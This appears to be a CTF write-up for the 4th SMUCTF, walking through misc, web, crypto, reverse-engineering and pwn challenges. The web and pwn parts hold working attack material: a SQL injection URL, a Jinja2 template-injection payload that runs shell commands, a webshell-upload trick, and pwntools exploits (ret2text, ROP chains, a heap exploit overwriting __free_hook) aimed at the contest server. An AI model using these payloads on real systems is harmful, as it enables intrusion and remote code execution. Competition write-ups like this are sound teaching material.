zl程序教程

您现在的位置是:首页 >  其它

当前栏目

The 4th SMUCTF Office WriteUp

The Office Writeup
2023-06-13 09:15:05 时间

I am honored to witness the four SMUCTF,and I have learned a lot from being a contestant to a questioner. This is the stage for our youth and the world where we display our talents. Here, we shed sweat, leave laughter, and gain knowledge and friendship. I hope you don't miss what's happening around you or what's going to happen, and please appreciate the little beauty in it!

Misc

一、checkin

欢迎参加第四届网络安全大赛!请开始你的挑战吧~ 你要做的就是在我们给你的文件或者链接中找到flag并将它提交到答题平台,例如本题的flag为flag{Welcome_T0_the_4th_SMUCTF}

二、Girls and cats

打开压缩文件,发现压缩文件中存在一个readme.txt文件,和题目提供的另外一个文件名一致,猜测是明文攻击

对readme.txt文件进行压缩(压缩工具对明文攻击能否爆破成功有影响),压缩完后再对比一下CRC32校验值,一样则说明是同一个文件,使用ARCHPR进行明文攻击得到压缩包密码

最后解压,查看图片属性得到一串base64编码的字符串,解码得到flag

三、width

首先很明显能听出来是电话音,于是dtmf解出压缩包密码:220201152007

接着binwalk+foremost得到一个压缩包 最后爆破图片宽度修改一下得到flag

import binascii
import struct

crcbp = open("flag.png", "rb").read()
for i in range(15000):
    for j in range(15000):
        data = crcbp[12:16] + struct.pack('>i', i) + struct.pack('>i', j) + crcbp[24:29]
        crc32 = binascii.crc32(data) & 0xffffffff
        if crc32 == 0xE283C5BF:
            print(i, j)
            print('hex:', hex(i), hex(j))
# 1044 150
# hex: 0x414 0x96

四、GIFQR

gif逐帧分离,得到三张有用的二维码,但是需要进行一些处理

  1. 定位点修复

①.首先修复出一个完整定位点,使用ps中的矩形工具,挡住表情包,在右边的属性栏找到填色,设置为黑,描边关闭或设置为白,最后在图层栏选择矩形1,右键选择合并可见图层

②. 使用矩形框选工具,把整个定位点框选,然后右击选择通过拷贝的形状图层,拷贝两次

③. 将两个定位点移动到修复位置,ps有一定的自动对齐功能,大概位置正确即可

  1. 透视图形修复

①. 点击剪裁工具后右键选择透视剪裁工具

②. 选中二维码四角

③. 在使用移动工具调整图片到正常比例

3.内容修复

根据图像,用QRazyBox工具,补全二维码,应为容错等级高,所以被表情遮挡的内容不需要还原

五、hacker

首先导出 HTTP 流量包

导出后分析可知在 hacker(6).php 中通过URLDecode →base64 解密(删除前两个字节)得到关键信息:

cd "/www/wwwroot/gogoshop.com";zip -r -Piamhacker flag.zip flag.txt;echo c5a258bb;pwd;echo e974998c3a

得到压缩包解压密码为:iamhacker 在 hacker(13).php 中发现PK头得知是压缩包,通过010打开将其复制到新建的16进制文件中 最后解压得到flag

六、屠龙勇士

原本这题设计是一开始有个python伪随机数的,后面考虑比较难就给舍弃了

首先是sstv扫描出图片

扫描得到第一段密钥0HHH_C00L_ 第二段在末尾有一段莫斯电码,解出是第二段密钥Y0U_G0T_ME

最后使用silenteyes解密出flag

七、SHOHOKU

图片隐写套娃题 binwalk+foremost分离→盲水印→wbs43open→silenteye→cloacked-pixel→outguess→steghide→F5→JPHS

八、reflection

010或者winhex打开发现文件为jpeg,并在最底下发现base64编码的字符串

接着base64解码可以发现是倒过来的压缩包的十六进制

然后得到一个加密包,爆破得到压缩包密码:205009,进而得到flag

WEB

一、F12

禁用了F12和右键,只能通过view-source:查看或者抓包一下,在注解处得到flag

二、XFF

首先根据题目描述试一下常见目录,在robots.txt目录下得到一半的flag

接着根据提示,将xff设为1.1.1.1得到另外一半flag

三、MD5

弱类型比较

四、反序列化

<?php
$a = new stdclass();
$a->d=&$a->c;
echo serialize($a);
?>

# O:8:"stdClass":2:{s:1:"c";N;s:1:"d";R:2;}

五、ball

代码审计 what's your like ball? 可以二次覆盖 重新获取值

六、upload

先传个写入一句话木马的图片,然后得到图片路径

然后穿user.ini,里面写这个图片的路径,上传得到user.ini打地址

最后访问user.ini目录的index.php,得到flag

七、sql

http://175.178.102.149:1007/index.php?table=note%60%23%60%20where%201%20and%20updatexml%281%2Cconcat%280x7e%2C%28select%20thisisflag%20from%20pwnhub_flaghahaha%29%2C0x7e%29%2C1%29%23%60 flag显示不全,substr即可

八、ssti

使用类似{{"test"}}的payload进行测试,发现过滤的字符如下

write
config
etc
base
[
'
read

常用的payload如下:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

题目会将敏感词替换为*,我们可以用__mro__替换__base__来绕过base,利用b.eval替换b['eval']绕过[,利用request获取post发送的值替换'__import__("os").popen("id").read()'来绕过read

具体步骤如下: 1.找到object 使用__class__获取类的类型,之后通过__mro__查看继承顺序,最后使用__getitem__()拿到object:

2.拿到object后就好说了,对普通payload稍加改造就可以

http://175.178.102.149:1008/
{% for c in "".__class__.__mro__.__getitem__(2).__subclasses__() %}
    {% if c.__name__ == "catch_warnings" %}
        {% for b in c.__init__.__globals__.values() %}
            {% if b.__class__ == {}.__class__ %}
                {% if "eval" in b.keys() %}
                       {{b.eval(request.values.code)}}
                 {% endif %}   
            {% endif %}
        {% endfor %}
    {% endif %}
{% endfor %}

# POST发送
code=__import__("os").popen("id").read()

CRYPTO

一、Base大家族

常规思路并且很明显可以看出来是base64 → base32 → base16

二、认真的雪

很明显需要通过1.docx得到2.docx的密码 首先将1.docx改成.zip,在word目录下发现password,打开后Brainfuck解密得到密码

然后打开2.docx,在各种题目暗示下可以知道是snow隐写,显示隐藏文字即可发现

最后根据题目描述snow隐写的密码就是word的密码将其复制到文本中解密即可得到flag

三、xor

简单异或,考察写脚本的能力

t = 'flag'
c = b"\x1e\x01\x00\t\x034\x0e\x1b'\x0b\x08\x00\x1c2V\x06\x1d2\x12\x0b\x1b\x1f\x04\x1a']\x071\x00]\x13\x13"
for i in range(4):
    print(chr(c[i]^ord(t[i])),end='')

key = 'xman'
print()
l = len(c)//4 + 1
t_key = key*l

c = bytes([i ^ ord(j) for i, j in zip(c,t_key)])
print(c)

四、ezcry

根据题目描述猜测 flag通过培根加密,栅栏加密,和某种base得到密文 观察密文很像少见的base58 ,所以先base58解密再栅栏和培根解密即可得到flag

五、asr

按照欧拉函数求多因数rsa的phi,再解密

from gmpy2 import *
from Crypto.Util.number import *

p = 8391242257294406063505527061814121492343569663481885890484470106743494280611016525805465845981772082141642954225930854917974107720342353743738201986663379
q = 6920364648388444977713920260745955799404039811035045631085096302746009508674392957431092889490782702395210358426722027223682819905807627215153414931559457
r = 7517109340282224641953344665880422891030760565122630991812838424349171161528070506665683983395274853878890511182226533991063849476657152961762996085870989
s = 10175261853504626539535727123541176380795070851738919004439887910079284908723157730485852482382214071325754127913350694669087912701645183748675096136891223
c = 2040446364831576029544749082486062313401979642724785624725925884284903220520441423866860942231266715079366385045008457000633101682572416840326843641518165257036392372208375525711729619063290977693788578026185017922662263681240536204755382730961863270536801158885023568618124077033230819756941287319195585328043261440617928643958121153384971016302888236382701082764036561515072499795073172733085915296848644199575345295536309274126068022740932305640208242409507493000460701030512212206856076682782932565402770404232402689588391966717130875389307210665171347947309492000352500604246678864884624054759221696222767749602078313731944608302063109854924449343498232190469581542790965772396312459268598338723377391283547157593543572277031893773902364817137124701090711507535075786893268357212799826430195501225745181417259708912461274569133153399040598675693229535178988002442426558521428178490073989410576984600171593740837823541008858900405833722987615291821598866947407327266550027157097061577259615692729940812275673961040040670252549574643998654457260591025388442348485200073299330
n = p**2*q*r**3*s

e = 65537

phi = (q-1)*(s-1)*p*(p-1)*r**2*(r-1)
d = invert(e,phi)
print(long_to_bytes(pow(c,d,n)))

六、EZ_RSA

已知x为1024位质数,p为11x的下一个质数,q为23x的前一个质数,也就是p与11x的差距很小,q与23x的差距也很小,那么可以通过p*q=n这一关系先计算出x的近似值: 即利用:11 x 23 * x = n 得到x近似值x':

然后可以在x’的较大邻域进行爆破获得真实的x值,以及p值:

for i in range(-100000,100000):
    p = 11*x+i
    # 当n和p公因子不为1的时候,得到p的真实值
    if gmpy2.gcd(n,p)!=1:
        #print(p)
        break

得到x以后可以求出p、q,phi,由于e是偶数和phi不互素,需要先求e和phi的最大公因子t,d = invert(e//t,phi),最后用d解密:

for i in range(-100000,100000):
#求出q,phi(n)
q = n//p
phi = (p-1)*(q-1)
#e为合数,需要先求出e和phi的最大公因子,用除去最大公因子后的e对phi求模逆得到私钥d
t = gmpy2.gcd(phi,e)
d = gmpy2.invert(e//t,phi)
# c^d mod n 得到m的t次方,开根得到m
m = gmpy2.iroot(pow(c,d,n),t)[0]
print(long_to_bytes(m))

七、Pell

第一个式子和第三个式子的差如下

y ** 9 - x ** 6

分解因式后得到

(x ** 2 + y ** 3) * (x ** 4 - x ** 2 * y ** 3 + y ** 6)

发现符合佩尔方程的定义,可以由此解出x和y

x = Int("x")
y = Int("y")

s = Solver()
s.add(x ** 2 + y ** 3 == A)
s.add(x ** 4 - x ** 2 * y ** 3 + y ** 6 == B)
s.add(y > 0)

if s.check() == sat:
    m = s.model()
    x = m[x].as_long()
    # 7285043097912720675016158197
    y = m[y].as_long()
    # 3794494741579279495149281093
    print("x: " + str(x))
    print("y: " + str(y))

通过原式解出z后就可以获得p和q 附上exp:

from z3 import *
import gmpy
import sympy

c = 866707674736220357444245838952394163960321760057326545128241291294257501635173094384690739257077715568789966356035792288267521605769977983027270061255063183267635082504993469531429844593828509049001655392019985157587401928427625963878710255962134625674567307913972934028800773083388283518251425673297670198873040417883530242166827820423828466940600452728069943295321244321160509501416344830119037047351419988083554078735850267744528929125825765327498414911466304716064362280913888661615091578167437645633838395206238343627875716629107620869152243936334829814586943600741025702807192675843100180454359272193616852534566367152051717687168572407947429460524064481430770966339787802885401818895955510532135255046557138211022704301090713869765429403504596530317888080738810016290848695324908712509291

A = 22760640240275011709270809855574317191231718585128262830058174024379966531 * 2 * 3 * 71 * 5634661
B = 690746832787080415717842785816881389692209632076992626573930037002581297196983129022480951974982803274414106285374332269456496745676560507319574181630903683 * 3 * 19 * 151 * 502057

x = Int("x")
y = Int("y")

s = Solver()
s.add(x ** 2 + y ** 3 == A)
s.add(x ** 4 - x ** 2 * y ** 3 + y ** 6 == B)
s.add(y > 0)

if s.check() == sat:
    m = s.model()
    x = m[x].as_long()
    # 7285043097912720675016158197
    y = m[y].as_long()
    # 3794494741579279495149281093
    print("x: " + str(x))
    print("y: " + str(y))

x = 7285043097912720675016158197
y = 3794494741579279495149281093
z = Int("z")

s = Solver()
s.add(3 * z - x ** 6 + y * z == -149483325975565436807263592905156428557050209795686721906938253263055242439538933056410244207231037014114592441331871056943997324413216777528806960408142023584600015233)
s.add(x ** 3 + y ** 7 + x * y * z == 11326029467430598336551942828341915229671533561193583273365063515089095549293508116772803696444078928131425394498315031815261692721908241388661513840041252666440932061628277583082359955524040751)
s.add(y ** 9 + 3 * z + z * y == 163074328112378067363251891719892271598408187267753678756157405177088217061656827884196262350304037027344282698697518980719806107428464252657103112948511296886090479118533459097251828938284112396254354772031698480043354824668396252417403314983546189)

if s.check() == sat:
    m = s.model()
    z = m[z].as_long()
    print("x: " + str(x))

p = sympy.nextprime(x ** 11 + z ** 13 + y ** 15 << 76)
q = sympy.nextprime(z ** 12 + y ** 13 + (y * x * z) ** 2 ^ 789)
d = gmpy.invert(31337, (p - 1) * (q - 1))
print(bytes.fromhex(hex(pow(c, d, p * q))[2:]).decode())

八、神奇的密码

Java异或

import java.nio.charset.Charset;
public class DeEnCode {

    private static final String key0 = "2022.7.25";
    private static final Charset charset = Charset.forName("UTF-8");
    private static byte[] keyBytes = key0.getBytes(charset);


    public static String decode(String dec){
        byte[] e = dec.getBytes(charset);
        byte[] dee = e;
        for(int i=0,size=e.length;i<size;i++){
            for(byte keyBytes0:keyBytes){
                e[i] = (byte) (dee[i]^keyBytes0);
            }
        }
        return new String(e);
    }

    public static void main(String[] args) {
         String dec = decode("T^SUIAJAESSO");
         System.out.println(dec);
    }
}

REVERSE

一、re1

拿到文件,ida64打开,并找到主函数如下,得到flag

二、re2

根据提示,我们知道题目为魔改的base64加密,ida打开找到主函数:

其中第14行是最后check判断的密文,第20行的base64Encode函数为base64加密函数:

发现整个函数逻辑为正常的base64加密过程,找到第23行的unk_489084,双击打开:

在里面找到了base64变表:

AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0987654321/+

直接CyberChef解密即可得到flag

三、re3

根据提示,不难看出该题存在加密过程,先用ida打开,找到主函数:

其中第12行的rc4_crypt不难看出是rc4加密,我们只需找到密文和密钥解密即可 通过对主函数和rc4_crypt函数的观察可以发现,”anhuishuiwu”是我们需要的密钥,并且我们通过查看汇编语言:

发现一串可疑的数据,这些数据是在加密之后进行了check,由此判断为密文(实在看不出来的话可以用假设法,假设它是密文看能不能解出来flag,逆向三分靠写,七分靠猜),我们有了密文和密钥,直接脚本解密即可得到flag

#include<stdio.h>

/*
RC4初始化函数
*/
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
    int i = 0, j = 0;
    char k[256] = { 0 };
    unsigned char tmp = 0;
    for (i = 0; i < 256; i++) {
        s[i] = i;
        k[i] = key[i % Len_k];
    }
    for (i = 0; i < 256; i++) {
        j = (j + s[i] + k[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
    }
}

/*
RC4加解密函数
unsigned char* Data     加解密的数据
unsigned long Len_D     加解密数据的长度
unsigned char* key      密钥
unsigned long Len_k     密钥长度
*/
void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //加解密
{
    unsigned char s[256];
    rc4_init(s, key, Len_k);
    int i = 0, j = 0, t = 0;
    unsigned long k = 0;
    unsigned char tmp;
    for (k = 0; k < Len_D; k++) {
        i = (i + 1) % 256;
        j = (j + s[i]) % 256;
        tmp = s[i];
        s[i] = s[j];
        s[j] = tmp;
        t = (s[i] + s[j]) % 256;
        Data[k] = Data[k] ^ s[t];
    }
}
void main()
{
    //字符串密钥
    unsigned char key[] = "anhuishuiwu";
    unsigned long key_len = sizeof(key) - 1;
    //数组密钥
    //unsigned char key[] = {};
    //unsigned long key_len = sizeof(key);

    //加解密数据
    unsigned char data[] = { 0x9b,0x50,0xd5,0x12,0xa9,0x5c,0x4e,0xd8,0x18,0x80,0x2d,0xbb,0xef,0x39,0x55,0x1f,0x8f,0xa4,0x63,0x34,0x18,0xec,0x56,0x26 };
    //加解密
    rc4_crypt(data, sizeof(data), key, key_len);

    for (int i = 0; i < sizeof(data); i++)
    {
        printf("%c", data[i]);
    }
    printf("\n");
    return;
}

四、app1

下载好题目,拖入夜神中,打开如下所示:

查壳,发现无壳,用jeb反编译后,找到关键字验证失败所在类,发现调用了so层的 CheckString函数进行了验证,传进去的参数为我们在输入框中输入的字符串,如下图所示:

用IDA打开so文件(要提取x86文件夹下面那个so文件,两个arm文件夹下面的so文件用ida打开 有问题),找到该静态函数,直接F5大法,静态分析该函数可知:首先将传入的字符串前16位与后16位 互换,然后两两一组互换位置,最后将得到的字符串与字符串f72c5a36569418a20907b55be5bf95ad比 较返回比较结果!!!

写了一个python小脚本跑出flag,如下所示:

string = 'f72c5a36569418a20907b55be5bf95ad'
strlist = list(string)
k = 0
for i in range(16):
 ch = strlist[1 + k]
 strlist[1 + k] = strlist[0 + k]
 strlist[0 + k] = ch
 k = k + 2
k = 0
for i in range(16):
 ch = strlist[0 + k]
 strlist[0 + k] = strlist[16 + k]
 strlist[16 + k] = ch
 k = k + 1
print(''.join(strlist))

# 90705bb55efb59da7fc2a5636549812a

PWN

一、nc

nc连上后直接cat flag即可

二、ret2libc1

改程序中存在 /bin/sh\x00 字符串,以及存在system函数,而在gets函数中,并没有限制长度,同样是32位的程序,只开了nx保护,只需要在ida中找到 /bin/sh 字符串的位置,并调用system的plt表即可

from pwn import *

#io = process('./pwn')

io = remote("175.178.102.149", 10002)

binsh_addr = 0x8048720
system_plt = 0x08048460
payload = b'a' * 112 + p32(system_plt) + b'b' * 4 + p32(binsh_addr)
io.sendline(payload)

io.interactive()

三、ret2libc2

程序中的漏洞还是和前面几题一样,只不过程序中有system函数,但是没有了 /bin/sh\x00字符串,不过可以手动读入字符串,通过工具 ROPgadget 寻找出程序中的gadget,并将 /bin/sh 字符串通过溢出手动调用gets读入,最后调用system函数的plt表即可

from pwn import *

#io = process('./pwn')

io = remote("175.178.102.149", 10003)

gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = b'a' * 112 + p32(gets_plt) + p32(pop_ebx) + \
    p32(buf2) + p32(system_plt) + p32(0xdeadbeef) + p32(buf2)
io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()

四、ret2text

打开ida进行反汇编,可以发现gets函数输入时,并没有限制长度,buf的位置到ebp距离0x6c,所以直接溢出0x6c的垃圾数据到ebp,再溢出4字节(4字节是因为程序是32的,程序的位数可以用file命令查看)覆盖ebp 由于程序只开了NX保护(使用 checksec 命令查看),所以直接在ida中找到程序中后门函数的位置,并设置为返回地址即可

from pwn import *
#io = process("./pwn")
io = remote("175.178.102.149",10004)

context.log_level = "debug"

payload = b"a" * 112 + p32(0x804863a)

#gdb.attach(io, "b system")

io.sendline(payload)

io.interactive()

五、ezheap

经典的堆溢出,unlink造成任意地址读写,修改got表 getshell

from pwn import *
#io = process("./pwn")
io = remote("175.178.102.149", 10005)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

context.arch = "amd64"
context.log_level = "debug"

def add(size, content):
    io.sendlineafter("Your Choice: ", "1")
    io.sendlineafter("please tell me how much you want to have:", str(size))
    io.sendlineafter("Content:", content)

def delete(idx):
    io.sendlineafter("Your Choice: ", "2")
    io.sendlineafter("Please give me idx:", str(idx))

def edit(idx,content):
    io.sendlineafter("Your Choice: ", "3")
    io.sendlineafter("Please give me idx:", str(idx))
    io.sendafter("What do you want?",content)

def show(idx):
    io.sendlineafter("Your Choice: ", "4")
    io.sendlineafter("Please give me idx:", str(idx))

add(0x200, "/bin/sh\x00")

for i in range(9):
    add(0x200, "/bin/sh\x00")

for i in range(7):
    delete(i)

delete(8)
show(8)

libc_base = u64(io.recvuntil("\x7f")[-6:].ljust(8, b'\x00')) - 96 - 0x10 - libc.symbols["__malloc_hook"]

fd_ptr = libc_base + 96 + 0x10 + libc.symbols["__malloc_hook"]

success("libc base is leaked ==> " + hex(libc_base))

sys_addr = libc_base+libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]

edit(6, p64(free_hook))

add(0x200, "/bin/sh\x00")

add(0x200, p64(sys_addr))

delete(9)

io.interactive()

六、GiveAtry

很明显的栈溢出,有个比较字符串,覆盖一下就行了

from pwn import *
#io = process("./pwn")
io = remote("175.178.102.149",10006)

io.sendlineafter("               `-../____,..---'`", b"a" * 0xf + b"become_it")
io.interactive()

七、easystack

第二个read有溢出可以直接更改栈上数据

from pwn import *
#io = process("./pwn")
io = remote("175.178.102.149",10007)

context.log_level = "debug"

io.sendlineafter("Please Enter Your Name:", b"deadbeef")
io.sendafter("Please Enter Your Age:", b"a" * 0xf8 + p32(20200202))
io.interactive()

八、game

强行接收然后机器算

from pwn import *
#io = process("./pwn")
io = remote('175.178.102.149', 10008)
io.recvuntil(b':)\n')
io.send(p32(3735928559))
io.recvline()

for i in range(1000):
    a = io.recvuntil(b'= ?').replace(b'= ?', b'')
    print(a)
    ans = eval(a)
    io.sendline(str(ans))

io.interactive()